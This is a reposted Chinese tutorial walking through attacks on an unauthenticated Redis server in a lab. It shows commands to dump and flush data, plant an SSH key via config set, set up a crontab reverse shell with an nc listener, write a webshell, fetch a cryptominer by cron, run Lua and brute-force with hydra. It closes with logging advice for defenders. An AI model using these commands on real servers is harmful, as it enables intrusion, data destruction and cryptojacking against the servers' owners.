Redis未授权访问详解

这篇文章是freebuf安全之光专栏的文章,写得非常详细和深入,分享给大家。

三.测试环境说明3.1测试环境与对象

3.2测试工具和相关资源工具名称工具用途nmap检测端口,操作系统和设备类型等信息nc实现任意TCP/UDP端口的侦听hydra主要用于暴力破解密码四.攻击方法4.1获取主机端口开放信息Redis默认使用6379端口,使用nmap对服务器进行扫描Nmap-A-p6379–scriptredis-info192.168.10.129

4.2Redis未授权访问获取敏感信息Nmap扫描后发现主机的6379端口对外开放,就可以用本地Redis远程连接服务器(redis在开放往外网的情况下(默认配置是bind127.0.0.1,只允许本地访问,如果配置了其他网卡地址那么就可以网络访问),默认配置下是空口令,端口为6379)连接后可以获取Redis敏感数据。./redis-cli-h192.168.10.153info

可以看到Redis的版本和服务器上内核版本信息,如果是新版的Redis2.8以后的版本还可以看到Redis配置文件的绝对路径

可以查看里面的key和其对应的值keys*getkey

4.3Redis删除数据flushall删除所有数据delkey删除键为key的数据

连接目标主机的Redis:./redis-cli-h192.168.10.153

设置redis的备份路径为/root/.ssh和保存文件名authorized_keysconfigsetdir/root/.sshconfigsetdbfilenameauthorized_keys

将数据保存在服务器硬盘上(缓存里的数据key.txt)save这时候用ssh远程连接:ssh192.168.10.153

可以看到不用密码就可以直接远程登录可以在centos这边进入/root/.ssh目录,看一下authorized_keys的文件内容cat/root/.ssh/authorized_keys

在authorized_keys文件里可以看到redis的版本号,我们写入的公钥和一些缓冲的乱码4.5在crontab里写定时任务,反弹shell原理是和写公钥一样的,只是变换一下写入的内容和路径,数据库名。首先在客户端这边监听一个端口(随便一个端口就好,不要冲突就好)nc-l4444

连接redis,写入反弹shell./redis-cli-h192.168.152.128setxxx

1分钟后客户端这边收到centos的反弹shell

4.6在web目录下写入webshell通过redis在指定的web目录下写入一句话木马,用菜刀连接可达到控制服务器的目的。远程连接redis,写入webshell./redis-cli-h192.168.152.128configsetdir/var/www/htmlsetxxx用菜刀连接:

用菜刀打开虚拟终端执行命令

4.7写入挖矿进程所谓”挖矿”实质上是用计算机解决一项复杂的数学问题,来保证比特币网络分布式记账系统的一致性。比特币网络会自动调整数学问题的难度,让整个网络约每10分钟得到一个合格答案。随后比特币网络会新生成一定量的比特币作为赏金,奖励获得答案的人。它依据特定算法,通过大量的计算产生,所以才会大量占据cpu,导致系统卡顿,严重的直接瘫痪。

使用top命令查看cpu使用情况

挖矿木马已经开始运行了,并且占用了大量的cpu2.写入定时任务,到指定的网站去下载挖矿木马和shell脚本1.shvim1.sh#!bin/bashPATH=/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbin:~/binif[!

1分钟后,在centos的/tmp目录下可以看到挖矿木马watch-smartd,并且具有x权限

4.8利用redis执行命令redis2.6以前的版本内置了lua脚本环境,在有连接redis服务器的权限下,可以利用lua执行系统命令。本地建立一个lua脚本vimhello.lualocalmsg=在客户端连接redis服务器并执行hello.lua./redis-clieval

4.9利用hydra暴力破解redis的密码使用hydra工具可以对redis进行暴力破解hydra-Ppasswd.txtredis://192.168.152.128

五.redis日志redis在默认情况下,是不会生成日志文件的,所以需要修改配置文件,让redis生成日志。5.1配置方法:首先找到redis的配置文件打开配置文件,找到logfile(可能有多个logfile,认准旁边有loglevel的那个),或者直接搜logfile“”将路径填入logfile后面的引号内,例如:logfile”/usr/local/redis/redis.log”

保存配置文件,以这个配置文件启动redis,然后这时候redis的启动框会变成一个黑框框,什么输出都没有,这就对了(因为输入全写到日志文件去了)

Redis未授权访问详解(转载)

loglevel是用来设置日志等级的,具体可以看配置文件中上面的注释

5.2日志内容记录详细的时间,某个IP远程连接,当前缓冲区里面有多少个key

如果redis被暴力猜解,会在日志里面看大量的连接IP

  • 发表于:
  • 原文链接https://kuaibao.qq.com/s/20180925A03U8100?refer=cp_1026
  • 腾讯「云+社区」是腾讯内容开放平台帐号(企鹅号)传播渠道之一,根据《腾讯内容开放平台服务协议》转载发布内容。
  • 如有侵权,请联系 yunjia_community@tencent.com 删除。

扫码关注云+社区

领取腾讯云代金券